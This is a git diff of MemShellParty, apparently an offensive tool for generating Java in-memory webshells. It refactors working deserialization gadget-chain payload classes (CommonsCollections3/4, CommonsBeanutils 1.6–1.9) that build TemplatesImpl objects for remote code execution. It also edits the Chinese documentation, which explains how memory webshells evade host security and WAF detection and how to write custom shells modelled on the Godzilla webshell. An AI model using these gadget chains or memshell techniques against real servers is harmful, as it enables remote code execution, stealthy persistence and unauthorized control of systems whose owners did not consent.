import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
@@ -14,17 +12,19 @@ import org.apache.commons.collections.map.LazyMap;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
|
||||
*
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2025/4/2
|
||||
*/
|
||||
public class CommonsCollections3Packer implements Packer {
|
||||
public class CommonCollections3 implements Payload {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
public Object generate(byte[] bytes) {
|
||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
|
||||
|
||||
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
|
||||
|
||||
@@ -38,6 +38,6 @@ public class CommonsCollections3Packer implements Packer {
|
||||
outerMap.remove(templates);
|
||||
|
||||
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
|
||||
return JavaDeserializeGenerator.generate(expMap);
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||
import lombok.SneakyThrows;
|
||||
@@ -16,17 +14,17 @@ import org.apache.commons.collections4.functors.InstantiateTransformer;
|
||||
import javax.xml.transform.Templates;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2025/4/2
|
||||
*/
|
||||
public class CommonsCollections4Packer implements Packer {
|
||||
public class CommonCollections4 implements Payload {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
public Object generate(byte[] bytes) {
|
||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
|
||||
ChainedTransformer chain =
|
||||
new ChainedTransformer(
|
||||
new ConstantTransformer(TrAXFilter.class),
|
||||
@@ -36,6 +34,6 @@ public class CommonsCollections4Packer implements Packer {
|
||||
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||
Reflections.setFieldValue(queue, "size", 2);
|
||||
Reflections.setFieldValue(queue, "comparator", comparator);
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -18,16 +16,14 @@ import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils110Packer implements Packer {
|
||||
|
||||
public class CommonsBeanutils110 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
@@ -38,9 +34,9 @@ public class CommonsBeanutils110Packer implements Packer {
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -18,16 +16,14 @@ import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils16Packer implements Packer {
|
||||
|
||||
public class CommonsBeanutils16 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
@@ -40,8 +36,8 @@ public class CommonsBeanutils16Packer implements Packer {
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -18,16 +16,15 @@ import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils18Packer implements Packer {
|
||||
|
||||
public class CommonsBeanutils18 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
@SuppressWarnings("unchecked")
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
@@ -40,8 +37,8 @@ public class CommonsBeanutils18Packer implements Packer {
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -20,13 +18,12 @@ import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils19Packer implements Packer {
|
||||
|
||||
public class CommonsBeanutils19 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
@@ -38,8 +35,8 @@ public class CommonsBeanutils19Packer implements Packer {
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.packer.deserialize.utils;
|
||||
package com.reajason.javaweb.deserialize.utils;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
@@ -1,7 +1,10 @@
|
||||
package com.reajason.javaweb.packer.deserialize.utils;
|
||||
package com.reajason.javaweb.deserialize.utils;
|
||||
|
||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
||||
import sun.reflect.ReflectionFactory;
|
||||
import sun.security.pkcs.PKCS9Attributes;
|
||||
|
||||
import java.lang.reflect.AccessibleObject;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.deserialize.payload;
|
||||
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -36,9 +36,9 @@ What you can learn or try from this project:
|
||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
## Key Features
|
||||
|
||||
@@ -213,7 +213,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||
| Listener | Listener |
|
||||
| FilterManager - Agent | ServletContext - Agent |
|
||||
|
||||
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) |
|
||||
|----------------------|----------------------|------------------------|
|
||||
| Filter | Filter | Filter |
|
||||
| Listener | Listener | Listener |
|
||||
@@ -221,7 +221,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||
|
||||
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||
| Apusic AS (9) | Primeton(6.5) |
|
||||
|---------------------|----------------------|
|
||||
| Servlet | Filter |
|
||||
| Filter | Listener |
|
||||
|
||||
@@ -1,15 +1,13 @@
|
||||
---
|
||||
title: 工具推荐
|
||||
description: 工欲善其事必先利其器
|
||||
---
|
||||
# 学习 Java 内存马推荐工具
|
||||
|
||||
> 工欲善其事必先利其器
|
||||
|
||||
## Arthas
|
||||
|
||||
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
|
||||
|
||||
JDK8 以上的下载链接:https://arthas.aliyun.com/doc/download.html
|
||||
|
||||
JDK6/7 下载链接:https://arthas.aliyun.com/3.x/doc/download.html
|
||||
JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html
|
||||
JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html
|
||||
|
||||
### 启动 Arthas
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
---
|
||||
title: 什么是 Java 内存马
|
||||
---
|
||||
# Java 内存马简介
|
||||
|
||||
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现 webshell 的所有功能。其唯一缺点可能就是服务重启即失效,不过也出现了附带的内存马复活相关技术。
|
||||
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
|
||||
|
||||
## 什么是 webshell
|
||||
|
||||
@@ -12,17 +10,17 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
|
||||
|
||||
常见的 webshell 功能包括:
|
||||
|
||||
1. 命令回显,反弹 unix shell。
|
||||
1. 命令回显,反弹 unix shell
|
||||
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
||||
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
||||
|
||||
## 演变历程
|
||||
|
||||
随着攻防对抗强度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施似乎只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
||||
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
||||
|
||||
内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
||||
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
||||
|
||||
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许当你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
||||
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
||||
|
||||
## 常见 Java 内存马
|
||||
|
||||
@@ -32,7 +30,7 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
|
||||
|
||||
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
||||
|
||||
Java EE 中的 Servlet 规范就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也被广泛使用。
|
||||
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
|
||||
|
||||
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
---
|
||||
title: 实现自定义内存马
|
||||
---
|
||||
## 如何使用自定义内存马功能
|
||||
|
||||
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
|
||||
|
||||
@@ -20,7 +18,7 @@ inject(context, shell);
|
||||
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
|
||||
jakarta,无须重复实现。
|
||||
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
|
||||
方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。
|
||||
方法上,因此推荐按参考实现一样使用空实现。
|
||||
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
|
||||
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
|
||||
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、
|
||||
@@ -28,32 +26,29 @@ inject(context, shell);
|
||||
|
||||
| 挂载类型 | 参考实现 |
|
||||
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java) |
|
||||
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||
| (Jetty)Handler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||
| (Jetty)Customizer | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java) |
|
||||
| (Struct2)Action | [GodzillaStruct2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java) |
|
||||
| (Tomcat)Upgrade | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java) |
|
||||
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||
|
||||
### 参考步骤
|
||||
|
||||
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
|
||||
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
|
||||
3. 执行 `./gradlew :generator:compileJava` 或 `.\gradlew.bat :generator:compileJava`
|
||||
4. 在 generator/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||
